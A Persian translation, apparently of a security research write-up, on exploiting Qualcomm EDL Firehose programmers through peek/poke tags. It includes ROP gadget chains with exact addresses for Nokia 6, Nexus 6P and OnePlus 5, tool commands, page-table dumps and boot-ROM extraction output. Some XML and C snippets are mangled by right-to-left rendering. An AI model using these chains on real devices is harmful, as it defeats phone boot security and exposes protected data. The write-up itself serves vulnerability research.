دسترسی به داخل emmc با چیپ کوالکام& پشت پرده 9008-(3)
بخش سوم
Memory-based Attacks
پیک و پوک
همانطور که در قسمت 1 شاهد بودیم، به طور عجیبی Firehose ها تگ های XML peek و poke را پیاده سازی می کنند، که طبق مکاتبات ما با Qualcomm، سفارشی سازی هایی هستند که توسط آسیب پذیری edl تنظیم شده اند. از آنجایی که کد مدیریت آنها رایج است، ما فقط می توانیم حدس بزنیم که برخی از پرچم های کامپایل(متغییر های cpu) وجود دارد که توسط OEM های آسیب دیده فعال نگه داشته می شود.
به هر حال، پیک و پوک جام مقدسی هستند که مهاجمان خلاقانه با سوء استفاده از آسیبپذیریها به دست میآورند. اما در موردپروگرامر , Firehose، این ویژگی ها داخلی هستند!
تجزیه و تحلیل کنترل کننده های آنها نشان می دهد که برچسب های peek و poke فرمت زیر را دارند:
32-bit programmers:
<"peek address64="ADDR" SizeInBytes="SIZE/>
<"poke address64="ADDR" SizeInBytes="SIZE" value="VALUE/>
64-bit programmers:
<"peek address64="ADDR" size_in_bytes="SIZE />
<"poke address64="ADDR" size_in_bytes="SIZE" value64="VALUE />
در این بخش قصد داریم به نوکیا 6 یک حمله انجام دهیم و ثابت کنیم که همه گفته هایمان تئوری نیست!
هدف بعدی ما این است که بتوانیم از این مطالب برای اجرای کد در خود پروگرامر استفاده کنیم. انجام این کار به ما امکان می دهد در زمان اجرا در مورد پروگرامر تحقیق کنیم. از آنجایی که پروگرامر خود SBL را جایگزین می کند، ما انتظار داریم که با امتیازات بسیار بالایی اجرا شود (امیدواریم EL3)، این فرضیه که بعداً پس از اجرای کد می توانیم تأیید یا رد کنیم.
به دست آوردن اجرای کد در پروگرامرهای Nokia 6 و aarch32
اولین هدف ما دستگاه نوکیا 6 است که شامل یک چیپ SoC MSM8937 است. این دستگاه دارای پروگرامر aarch32 لو رفته است. برای دستیابی به اجرای کد در برنامه نویس، امیدوار بودیم یک صفحه حافظه قابل نوشتن و اجرایی پیدا کنیم که کد خود را در آن بارگذاری کنیم و سپس مقداری LR ذخیره شده را در پشته اجرا جایگزین کنیم تاکنترل جریان را به دست بگیریم.
بنابراین، این نوع حمله مستلزم موارد زیر است:
- پیدا کردن آدرس پشته اجرا.(این یک تکنیک در درس ساختمان داده ها و الگوریتم ها در دانشگاه تدریس میشود)
- پیدا کردن یک صفحه WX
- یافتن مکان حافظه پشته اجرا نسبتاً آسان است، زیرا در کنترل کننده وقفه تنظیم مجددپروگرامر تنظیم شده است.(وقفه: بنگرید به طراحی سیستم های عامل).
- دقیقا این بخش در پروگرامر (سورس تمام را آپلود خواهم کرد):
-
LOAD:08008A60 LDR R0, =0x805D000 ; Load from Memory LOAD:08008A64 MOV SP, R0 ; Rd = Op2
در مرحله بعد، پشته را تفتیش کردیم و کاندیدهای ذخیره شده LR را برای جایگزینی جستجو کردیم:
> firehorse.py -t nokia6 fw peek 0x805cf80 80
0805cf80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0805cf90 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0805cfa0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0805cfb0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0805cfc0 00 00 00 00 00 00 00 00 72 eb dc 2f 00 00 00 00 ........r../....
0805cfd0 00 e8 06 08 f0 d7 06 08 00 10 06 08 9b 04 02 08 ................
0805cfe0 e8 cf 05 08 00 90 20 00 68 00 00 00 00 00 00 00 ...... .h.......
0805cff0 f4 9b 01 08 01 00 00 00 88 09 07 08 d9 9b 01 08 ................
ما 0x0802049b را انتخاب میکنیم – پروگرامر دارای یک حلقه اصلی است که منتظر XML های ورودی از طریق USB است (input_input از قسمت 1)، بنابراین مقدار LR جایگزین شده ما محل بازگشت به آن حلقه از تجزیه کننده فرمان های XML است:
LOAD:08020490 MOV R0, R4
LOAD:08020492 BL set_struct_fields
LOAD:08020496 BL parse_command
LOAD:0802049A CMP R0, #1 ; <- CHOSEN LR
LOAD:0802049C BNE loc_8020496
یک اسمبلی است (یادم رفته بود بگم برای انجام چنین کاری نیازی به دانستن زبان شیرین اسمبلی دارید)
برای اینکه از مطلب دور نشویم دیگر به آموزش زبان اسمبلی نخواهیم پرداخت
قرار دادن محل پشته مربوطه (0x805cfdc) با یک آدرس دلخواه باید جریان اجرا را هک کند که میکند .خوشبختانه ، این نباید به همین راحتی باشد، همانطور که انتظار داشتیم پروگرامر صفحات غیر قابل اجرا را برای محافظت در برابر چنین سوء استفاده بی اهمیتی به کار گیرد.در این مرحله از تحقیق، ما درک زیادی از چیدمان حافظه پروگرامر ها نداشتیم و با توجه به این واقعیت که زدن یک آدرس دلخواه نقشه برداری نشده منجر به خرابی (یه حلقه بی نهایت تو راه اندازی مجدد) شد، مجبور شدیم روشی هوشمندتر برای استنباط از چنین چیدمان حافظه پروگرامر .برای انجام این کار، ما یک اکسپلویت مبتنی بر ROP ابداع کردیم تا رجیستر TTBR0 را که آدرس پایه *جدول صفحه را نگه میدارد، نشت کنیم. (بعداً متوجه شدیم که این کار ضروری نیست، زیرا ما همچنین به صورت ایستا آن آدرس را در باینری های PBL & Programmer پیدا کردیم.) امیدواریم بتوانیم یک صفحه مناسب (یعنی صفحه ای که هم قابل نوشتن و هم قابل اجرا باشد) پیدا کنیم یا آن را تغییر دهیم به وسیله poke (دسترسی به مجوزهای موجود)
برای نوکیا 6 از زنجیره ROP زیر استفاده کردیم:
*جدول صفحه=(بنگرید به مدیریت حافظه در سیستم عامل ترجیحا یونیکس)
1-)گجت: پشته را با 0x118 بایت افزایش می دهیم.
LOAD:08025A8A ADD SP, SP, #0x118
LOAD:08025A8C MOV R0, R4
LOAD:08025A8E POP.W {R4-R8}
LOAD:08025A92 LDR.W PC, [SP],#0x14
بنابراین، آدرس ابزار بعدی (0x8008D38) باید به ORIGINAL_SP + 4 + 0x118 + 20 (R4-R8) نوشته شود.
2-)گجت: با استفاده از گجت زیر کنترل R4-R12,LR را در اختیار داریم:
LOAD:08008D38 LDMFD SP!, {R4-R12,LR}
LOAD:08008D3C MOV R0, R1
LOAD:08008D40 BX LR
کنترل LR به ما امکان میدهد آدرس ابزار بعدی را تنظیم کنیم – 0x0801064B
اینم ست میکنیم
3-)گجت: ابزار بعدی R12 را صدا میزند (که ما با استفاده از ابزار قبلی کنترل مرحله بالا می کنیم):
LOAD:0801064A BLX R12
LOAD:0801064C MOV R5, R0
LOAD:0801064E LDR R1, [SP,#4]
LOAD:08010650 CMP R1, R4
LOAD:08010652 BEQ loc_8010658
LOAD:08010654 BL canaryFail
LOAD:08010658 ADD SP, SP, #0xC
LOAD:0801065A MOV R0, R5
LOAD:0801065C POP {R4,R5,PC}
4-)گجت : R12 را روی 080081AC تنظیم کردیم، ابزاری که TTBR0 را روی R0 کپی میکند:دستور mrc
LOAD:080081AC MRC p15, 0, R0,c2,c0, 0
LOAD:080081B0 MOV R0, R0,LSR#14
LOAD:080081B4 MOV R0, R0,LSL#14
LOAD:080081B8 BX LR
این به GADGET 3 با R0 = TTBR0 برمیگردد.
5-): گجت بعدی R0 را روی [R4] کپی می کند، که می توانیم با استفاده از گجت2 آن را کنترل کنیم:گجت 2 =مرحله دو
LOAD:0800D036 STR R0, [R4]
LOAD:0800D038 ADD SP, SP, #0x14
LOAD:0800D03A POP {R4,R5,PC
ما از این ابزار به تماسگیرنده اصلی برمیگردیم. تنها چیزی که باید مراقب آن باشیم کپی کردن پشته اصلی و جابجایی آدرس پشته مطلق است.
تمامی این کار ها بازبان قدرتمند c انجام خواهد شد
با اجرای این زنجیره، موفق شدیم رجیستر TTBR0 را بدون خراب کردن دستگاه (با استفاده از پشته بازنوسازی شده به فراخوان کننده اصلی بازگشتیم) به یک آدرس حافظه کنترلشده درز کنیم.
> firehorse.py -t nokia6 target rop
INFO: dst 805d180, n=2090000805cfe8
INFO: dst 805d188, n=68
INFO: dst 805d190, n=108019bf4
INFO: dst 805d198, n=8019bd908070988
INFO: dst 805d1a0, n=0
INFO: dst 805d1a8, n=0
INFO: dst 805d1b0, n=0
INFO: dst 805d1b8, n=0
سپس با استفاده از peek primitive، رجیستر فاش شده را می خوانیم:peek یعنی شکافتن , بازکردن و..
> firehorse.py -t nokia6 fw peek 0x80b0000 4
INFO: 080b0000 00 00 20 00 .. .
بنابراین TTBR0 = 0x200000! با نگاهی به این آدرس می توان به موارد زیر اشاره کرد:
> firehorse.py -t nokia6 fw peek 0x200000 50
00200000 16 0c 00 00 01 40 20 00 01 48 20 00 16 0c 30 00 .....@ ..H ...0.
00200010 16 0c 40 00 16 0c 50 00 16 0c 60 00 16 0c 70 00 ..@...P...`...p.
00200020 16 0c 80 00 16 0c 90 00 16 0c a0 00 16 0c b0 00 ................
00200030 16 0c c0 00 16 0c d0 00 16 0c e0 00 16 0c f0 00 ................
00200040 16 0c 00 01 16 0c 10 01 16 0c 20 01 16 0c 30 01 .......... ...0.
بالاخره یک جدول صفحه داریم!
و میتونیم با استفاده از برنامه هایی که با C نوشته شده توی جدول صفحه چرخ بزنیم و اطلاعات به دست بیاریم . مسئله که حل شود آسان شود
> firehorse.py -t nokia6 target dump_pt
First level (va = 00200000)
---------------------------------------------
00000000 SECTION nx=0x1, apx=0x0, section_base=0x0, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
00100000 PT domain=0x0, coarse_base=0x204000, p=0x0, sbz1=0x0, sbz2=0x0, ns=0x0,
00200000 PT domain=0x0, coarse_base=0x204800, p=0x0, sbz1=0x0, sbz2=0x0, ns=0x0,
00300000 SECTION nx=0x1, apx=0x0, section_base=0x300000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
[...]
07f00000 SECTION nx=0x1, apx=0x0, section_base=0x7f00000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
08000000 PT domain=0x0, coarse_base=0x204400, p=0x0, sbz1=0x0, sbz2=0x0, ns=0x1,
08100000 SECTION nx=0x1, apx=0x0, section_base=0x8100000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
08200000 SECTION nx=0x1, apx=0x0, section_base=0x8200000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
08300000 SECTION nx=0x1, apx=0x0, section_base=0x8300000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
08400000 SECTION nx=0x1, apx=0x0, section_base=0x8400000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
08500000 SECTION nx=0x1, apx=0x0, section_base=0x8500000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
08600000 PT domain=0x0, coarse_base=0x204c00, p=0x0, sbz1=0x0, sbz2=0x0, ns=0x0,
08700000 SECTION nx=0x1, apx=0x0, section_base=0x8700000, p=0x0, c=0x0, zero=0x0, ng=0x0, tex=0x0, ap=0x3, s=0x0, b=0x1, domain=0x0, ns=0x0,
[...]
Second level (va = 08000000)
---------------------------------------------
08000000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8000000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8000172,
08001000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8001000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8001172,
08002000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8002000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8002172,
08003000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8003000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8003172,
08004000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8004000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8004172,
08005000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8005000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8005172,
08006000 XSMALLPAGE nx=0x0, apx=0x1, b=0x1, page_base=0x8006000, c=0x0, ng=0x0, tex=0x4, ap=0x2, s=0x0, desc=0x8006326,
08007000 XSMALLPAGE nx=0x0, apx=0x1, b=0x1, page_base=0x8007000, c=0x0, ng=0x0, tex=0x4, ap=0x2, s=0x0, desc=0x8007326,
08008000 XSMALLPAGE nx=0x0, apx=0x1, b=0x1, page_base=0x8008000, c=0x0, ng=0x0, tex=0x4, ap=0x2, s=0x0, desc=0x8008326,
[...]
0807b000 XSMALLPAGE nx=0x1, apx=0x0, b=0x1, page_base=0x807b000, c=0x0, ng=0x0, tex=0x4, ap=0x3, s=0x0, desc=0x807b137,
0807c000 XSMALLPAGE nx=0x1, apx=0x0, b=0x1, page_base=0x807c000, c=0x0, ng=0x0, tex=0x4, ap=0x3, s=0x0, desc=0x807c137,
0807d000 XSMALLPAGE nx=0x1, apx=0x0, b=0x1, page_base=0x807d000, c=0x0, ng=0x0, tex=0x4, ap=0x3, s=0x0, desc=0x807d137,
0807e000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x807e000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x807e172,
0807f000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x807f000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x807f172,
08080000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8080000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8080172,
08081000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8081000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8081172,
08082000 XSMALLPAGE nx=0x0, apx=0x0, b=0x0, page_base=0x8082000, c=0x0, ng=0x0, tex=0x5, ap=0x3, s=0x0, desc=0x8082172,
[...]
APX=0، AP=0x3، NX=0x0 به معنای صفحه (WX) نوشته شده و قابل اجرا است. همانطور که می بینید، چنین صفحاتی در حال حاضر برای سوء استفاده در دسترس ما هستند. بنابراین ما میتوانیم به سادگی کد دلخواه را در چنین صفحاتی بارگذاری کنیم و اجرا را به سمت آن کد مجبور کنیم – برای نوکیا 6، ROP نیازی نبود!
بقیه دستگاههای ما با پروگرامر aarch32 (Xiaomi Note 5A و Xiaomi Note 4) یک صفحه WX نیز در دسترس داشتند، بنابراین اجرای کد روی آنها نیز فوری بود.
اجرای کد روی پروگرامر با معماری 64 بیت!
در مورد سایر دستگاههای ما، که دارای پروگرامر های aarch64 هستند، بهرهبرداری مبتنی بر ROP واقعاً مورد نیاز بود، زیرا هیچ صفحه قابل نوشتن/اجرای یافت نشد، احتمالاً به دلیل استفاده از SCTLR.WXN، که اجرای هر صفحه قابل نوشتن را بدون توجه به بیت NX آن برای شکست دادن آن، ما یک زنجیره ROP ابداع کردیم که خود *MMU را غیرفعال می کند!
memory management unit (MMU)*
به عنوان مثال، برای Nexus 6P (MSM8994) از زنجیره زیر برای غیرفعال کردن MMU استفاده کردیم – مانند Nokia 6، آدرس پایه پشته (0xFEC04000) را پیدا کردیم، آن را تخلیه کردیم و یک هدف LR ذخیره شده (0xFEC03F88) را انتخاب کردیم.
میریم برای دستکاری گوشی Nexus6p :::::::::::::
در این نفوذ ما مراحل را گجت مینامیم
GADGET 1 : اولین ابزار ما(گجت) به ما کنترل روی X0-X30 را میدهد به طور کامل :
ROM:00000000F803E848 LDP X30, X0, [SP+0x100+var_100],#0x10
ROM:00000000F803E84C LDP X28, X29, [SP+0xF0+var_F0],#0x10
ROM:00000000F803E850 LDP X26, X27, [SP+0xE0+var_E0],#0x10
ROM:00000000F803E854 LDP X24, X25, [SP+0xD0+var_D0],#0x10
ROM:00000000F803E858 LDP X22, X23, [SP+0xC0+var_C0],#0x10
ROM:00000000F803E85C LDP X20, X21, [SP+0xB0+var_B0],#0x10
ROM:00000000F803E860 LDP X18, X19, [SP+0xA0+var_A0],#0x10
ROM:00000000F803E864 LDP X16, X17, [SP+0x90+var_90],#0x10
ROM:00000000F803E868 LDP X14, X15, [SP+0x80+var_80],#0x10
ROM:00000000F803E86C LDP X12, X13, [SP+0x70+var_70],#0x10
ROM:00000000F803E870 LDP X10, X11, [SP+0x60+var_60],#0x10
ROM:00000000F803E874 LDP X8, X9, [SP+0x50+var_50],#0x10
ROM:00000000F803E878 LDP X6, X7, [SP+0x40+var_40],#0x10
ROM:00000000F803E87C LDP X4, X5, [SP+0x30+var_30],#0x10
ROM:00000000F803E880 LDP X2, X3, [SP+0x20+var_20],#0x10
ROM:00000000F803E884 LDP X0, X1, [SP+0x10+var_10],#0x10
ROM:00000000F803E888 RET
GADGET 2: این ابزار، با صدازدنX4، که ما آن را کنترل با استفاده از GADGET 1 می کنیم :
ROM:00000000F800E280 BLR X4
ROM:00000000F800E284 LDR X30, [SP,#8]
ROM:00000000F800E288 ADD SP, SP, #16
ROM:00000000F800E28C RET
GADGET 3: ما X4 را روی 0xF03DF38 تنظیم کردیم، ابزاری که X1 را مینویسد (که با استفاده از GADGET 1 آن را کنترل میکنیم)EL3 است که ثبت کنترل سیستم (SCTLR_EL3) را انجام میدهد:
ROM:00000000F803DF38 MSR #6, c1, c0, #0, X1
ROM:00000000F803DF3C RET
LSB.SCTLR_EL3،کنترل میکند MMU را(0 = غیرفعال). این ابزار به GADGET 2 ارجاع میشود .
GADGET 2: مشابه مورد aarch32، ما پشته اصلی s.t را کپی می کنیم. آخرین ابزار به تماس گیرنده اصلی باز می گردد و دستگاه به پردازش دستورات Firehose ادامه می دهد.
پس از اجرای زنجیره خود، میتوانیم در هر مکان حافظه قابل نوشتن بارگذاری و اجرا کنیم.
ما یک زنجیره مشابه برای OnePlus 5 ساختیم، با این حال، برای اینکه دستگاه را در حالت کار نگه داریم، مجبور شدیم برخی از ثبات ها را قبل از اجرای زنجیره به مقدار اولیه خود بازگردانیم. علاوه بر این، پروگرامر OnePlus 5 در EL1 اجرا میشوند، بنابراین ما از SCTLR_EL1 به جای همتای EL3 استفاده کردیم.
دریافت خروجی UART
با اجرای کد دلخواه، میتوانیم تحقیقات پروگرامر را، این بار در “زمان اجرا”، آغاز کنیم. قبل از انجام این کار، باید به نحوی از دستگاه خروجی بگیریم. اگرچه میتوانیم به مکانهای حافظه دلخواه نگاه کنیم (و اینگونه است که TTBR0 را از برنامهنویس Nokia 6 فاش کردیم)، هم ناخوشایند و هم ناکافی است، زیرا ممکن است کد ما دستگاه را خراب کند و اشکالزدایی را بسیار دردناک کند. (برای اشکالزدایی در طول توسعه زنجیره ROP خود، از ابزارهایی استفاده کردیم که یا دستگاه را راهاندازی مجدد میکنند یا حلقههای بینهایت ایجاد میکنند تا نشان دهیم ابزارهای ما واقعاً اجرا شدهاند).
خوشبختانه برای ما، معلوم شد که اکثر دستگاههای اندرویدی یک نقطه UART را نشان میدهند که میتواند به یک FTDI232 استاندارد تغذیه شود. برای اکثر دستگاهها، نقاط UART مربوطه قبلاً توسط محققان/مهندسهای همکار به صورت آنلاین مستند شده است. با این حال، کشف نقطه در دستگاه های مستند نشده کار آسانی است.
به عنوان مثال، نقطه UART TX برای OnePlus 5 در اینجا آمده است:
TX:ارسال کننده (پایه)
RT:دریافت کننده
در برخی از دستگاه ها UART توسط پروگرامر مقداردهی اولیه نمی شود. برای چنین دستگاههایی، میتوان آن را مستقیماً از حافظه حذف کرد (متاسفانه به ما اجازه نمیدهد خرابیها را اشکالزدایی کنیم):
> firehorse.py -t angler target uart
INFO: Reading UART from 00000000fe813b70
Format: Log Type - Time(microsec) - Message
Log type: B - since boot(excluding boot rom). D - delta
B - 12694466 - SBL1, Start
B - 12700810 - scatterload_region && ram_init, Start
B - 12702152 - Entering DeviceProgrammer
برای اینکه کد ما در رابط UART بنویسد، ما به سادگی با یکی از روال های موجود پروگرامر تماس می گیریم. به عنوان مثال، در OnePlus 5:
int64 __fastcall uartB(char *a1)
}
char *v1; // x20
unsigned int v2; // w21
; v1 = a1
;()v2 = sub_140323EC
; sub_14032128(v1, v2, 66LL, 0LL)
; return uartOut(v1, v2, 'B', 0LL)
{
اکنون که میتوانیم «به راحتی» خروجی را از دستگاه دریافت کنیم، در نهایت برای تحقیق در زمان اجرا آماده هستیم.
تحقیق در زمان اجرا
اولین سوال تحقیقی که به آن رسیدیم این بود که تحت چه سطح استثنایی (امتیاز) قرار گرفتیم:
برای پاسخ به سؤال پژوهشی خود، میتوانیم ثبات های مربوطه را مطالعه کنیم. برای (aarch64 )این رو CurrentEL داریم، برای (aarch32 )این رو CPSR.Mداریم همچنین ثبات SCR.NS را میخوانیم (در صورت امکان) تا بفهمیم آیا در حالت امن اجرا میشویم یا خیر.
برای مثال، برای Nokia 6 (aarch32)، گزارش UART زیر را دریافت میکنیم که نشان میدهد در EL3 هستیم:
B - CPSR = 00000000
B - SCR = 800000d3
B - NSACR = 00000000
B - VBAR = 08006000
B - MVBAR = e8445ce0
B - RMR = 00000000
B - TTBR0 = 00200000
B - TTBR1 = c9051653
پروگرامر Nexus 6P ,(angler) aarch64 هم در EL3 اجرا میشود:
B - Exception Level=3
B - DAIF=00000000000003c0, NZCV=0000000020000000, SPSel=0000000000000001
B - TTBR0_EL3 = 00000000fe800000
B - VBAR_EL3 = 00000000f803f000
B - SCTLR_EL3 = 0000000070dd191e
B - TCR_EL3 = 0000000000000220
B - SCR_EL3 = 0000000000000400
از طرف دیگر، پروگرامر OnePlus 5 در EL1 اجرا می شود: el1 یعنی سطح استثناء
B - Exception Level=1
B - DAIF=00000000000000c0, NZCV=0000000020000000, SPSel=0000000000000001
B - TTBR0_EL1 = 000000001400f000
B - TTBR1_EL1 = 0000000000000000
B - VBAR_EL1 = 0000000014015000
B - SCTLR_EL1 = 0000000000c00800
B - TCR_EL1 = 000000000080001c
می بینیم که جدیدترین برنامه نویس دارای کمترین سطح امتیاز است که نشانه خوبی از کوالکام است.
دریافت کاربرد پردازش PBLs
با دانستن چیدمان حافظه پروگرامرها، و سطح استثنای در حال اجرا، شروع به نگاه کردن به اطراف کردیم. خوشبختانه، برای چیپست های منتخب، ما به زودی با خود PBL مواجه شدیم:
Device | SoC | arch | PBL base | SHA256 (first 84 KB) | SHA256 (first 96 KB) |
---|---|---|---|---|---|
Xiaomi Note 5A (ugglite) | MSM8917 | aarch32 | 0x100000 | 62A1E772932EB33E86EE9A141403B78EF2D00F2C6848FE17213B92FCC7FAD1DF | E0B29ACCFF90D46023B449E071E74B1B0503FE704FD0DEFDE7317797601D9F31 |
Xiaomi Note 4 (mido) | MSM8953 | aarch32 | 0x100000 | 7E8BF70DFAD30A2C410EE91B301FACA9684677656F29F1E287C84360B149823A | B46518743470D2DF8B7DADE1561C87407D6DCE5CC489B88AC981C63078D82782 |
Nokia 6 (d1c) | MSM8937 | aarch32 | 0x100000 | 62A1E772932EB33E86EE9A141403B78EF2D00F2C6848FE17213B92FCC7FAD1DF | B674D3DC099E6D1A43D01055AA6089647594B9D455F32EF2238FB619CF67FF5C |
Nexus 6P (angler) | MSM8994 | aarch64 | 0xFC010000 | 73A038CD54EB5F36C63555FDED82669D6FA98EF7EDA33417615DF481DD98BCFA | 4EF56F77DF83A006F97C5E4AB2385431F573F4F120C1B452D414F01EDA40F637 |
OnePlus X | MSM8974 | aarch64 | 0xFC010000 | C073E07C7444C2A1C6E4BFFDBB0D7ABE8E6CB3AB68B2C5F2FA932AC6BBADF360 | BE783DC133326E22D06823A335C1AEA0A3E544B4421A407263C9941DB6EA4E0C |
برای مثال این متن های زیر یک بوت لودر اصلی برای چیپ MSM8994 است:
این کد ها برای دانلود قرار خواهم داد تا مورد استفاده همکاران گرامی واقع شود.
> firehose.py -t angler target extract_pbl
> strings -n 8 pbl-angler-fc010000.bin | sort | uniq
./apps/pbl_auth.c
./apps/pbl_cache_mmu.c
./apps/pbl_dload.c
./apps/pbl_error_handler.c
./apps/pbl_flash.c
./apps/pbl_flash_sdcc.c
./apps/pbl_flash_ufs.c
./apps/pbl_hw_init.c
./apps/pbl_loader.c
./apps/pbl_mc.c
./apps/pbl_sahara.c
./apps/pbl_timer.c
EFI PART
QUALCOMM COPYRIGHT 2013 AUTHOR: Qualcomm CoreBSP Boot, Security, USB
./shared/pbl_common.c
لطفاً توجه داشته باشید که PBL را نمی توان با کدهای در حال اجرا در سیستم عامل به دست آورد. تست شده روی Nexus 6P ما، تلاش برای خواندن از آدرس فیزیکی PBL آن (0xFC010000)، کردیم و بلافاصله منجر به راهاندازی مجدد سیستم شد. ما حدس می زنیم که Boot ROM را فقط می توان از حالت امن بدست آورد. تا این خد از درک و تداعی کافی است
نظرتان را به اشتراک بگذارید